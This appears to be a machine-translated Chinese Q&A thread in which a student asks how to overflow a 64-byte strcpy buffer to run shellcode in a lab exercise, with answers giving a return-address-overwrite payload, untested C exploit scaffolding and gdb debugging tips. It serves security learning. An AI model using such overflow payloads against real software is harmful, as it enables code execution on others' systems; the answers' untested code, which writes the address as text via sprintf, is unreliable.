8

我最近一直在学习计算机安全,遇到了一些问题,尤其是在这个问题上我遇到了一些麻烦。

我得到了一个带有固定缓冲区的函数,我需要溢出才能在文件 shellcode 中执行shellcode。该功能非常简单:

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
}

我最初的猜测是修改函数的返回地址eip以定位和执行 shellcode 文件中的内容,但我意识到我没有可以用十六进制值表示的文件地址。我很确定我需要操纵返回地址,所以目前我正在调用的是:

//the string is passed as a command line arg
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ")

我的输出是:

Stack dump:
0xffffd600: 0xffffd7fd (first argument)
0xffffd5fc: 0x08048653 (saved eip)
0xffffd5f8: 0xffffd641 (saved ebp)
0xffffd5f4: 0x41414141
0xffffd5f0: 0x41414141
0xffffd5ec: 0x41414141
0xffffd5e8: 0x41414141
0xffffd5e4: 0x41414141
0xffffd5e0: 0x41414141
0xffffd5dc: 0x41414141
0xffffd5d8: 0x41414141
0xffffd5d4: 0x41414141
0xffffd5d0: 0x41414141
0xffffd5cc: 0x41414141
0xffffd5c8: 0x41414141
0xffffd5c4: 0x41414141
0xffffd5c0: 0x41414141
0xffffd5bc: 0x41414141
0xffffd5b8: 0x41414141
0xffffd5b4: 0x41414141
0xffffd5b0: 0x41414141 (beginning of buffer)
Segmentation fault

在我用附加地址替换 edp 的地址并到达返回地址后,python 脚本只需打印 72 个字母 A 以将缓冲区溢出到edpeip的点,并准备好对其进行操作。非常感谢任何帮助,谢谢!

4

4 回答 4

18

好吧,我想这可能就像计算机系统中的缓冲区溢出实验室:程序员的视角。首先,用于objdump获取静态地址。其次,运行它gdb以找出堆栈的地址。然后,用这样一个字符串填充缓冲区,该字符串会覆盖缓冲区的返回地址(以便您可以放置​​漏洞利用代码,或者您可以在程序中调用其他代码)。

查看此pdf,它可作为本实验室的指南。它可以为您提供一些见解。

正如所指出的,需要大量编译时标志来实现这一点。(我会检查一下并很快回来)。或者,这篇文章提供了有关如何编译此类示例的指南。

于 2013-05-04T01:56:55.127 回答
2

我最初的猜测是修改函数的返回地址 eip,以便定位和执行 shellcode 文件中的内容,但我意识到我没有可以用十六进制值表示的文件地址。

您想修改 RET 地址,以便在函数结束时它不会返回到调用者,而是返回到 shellcode 的开头。

(((作为对什么是 shellcode 的简要概述,它是一组汇编指令(严重依赖于执行易受攻击进程的平台))执行 shell(通常是根 shell),从而使您进入一个很好的环境,你可以利用。))

现在回来,你想要的是将 RET 指向你 shellcode 中的第一条汇编指令。奇怪的是你把它放在一个单独的文件中。这是必需的吗?

通常的做法是你有这样的东西:

char shellcode[] = "\x90\x90\x90...";


int main()
{
        /* 
         * huge string (like your 72 A's) that appends the address of the 
         * shellcode at the right address (in your case I think it's 64 + 4) 
         */
        char evilstring[100]; 

        /* Fill the buf and the EBP with A's */
        for (int i = 0; i < 64 + 4; i++) {
                evilstring[i] = 'A';
        }
        /* And the RET with the address of your shellcode */
        sprintf(&evilstring[68], "%p", &shellcode[0]);
        vuln(evilstring);
        /* you should have a shell now */

        /* NOTREACHED */
        return 0;
}

所以现在,当你的函数返回时,它会返回 shellcode[] 字符串的地址,并继续从那里执行指令。这就是你想要的。因为这些说明为您提供了 root shell(或您的 shellcode 所做的任何事情)。

请注意,以上只是示例代码,甚至没有经过编译测试。

如果我不明白你的问题或者我解释得不够清楚,请随时提问。

于 2013-05-07T11:47:04.970 回答
1
char buff[20];
unsigned int pass = 0;

当'buff'溢出时,额外的输入将'pass'变成大于0,使其成为'true'值。

于 2017-12-19T17:08:36.447 回答
0

当你知道在哪里看时并不难,就像在打开带有 gdb 的应用程序之前所说的那样。运行。然后 i(nfo) r(egisters) 看看它为什么会崩溃。反汇编也非常有用。

另外,(我假设你知道这一点):

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
}

实际上是

void vuln(char *str) {
    void *return;
    char buf[64];

    /* Set Return value and store stack */
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
    /* restore stack and jmp to return value. */
}
于 2013-05-06T10:58:34.187 回答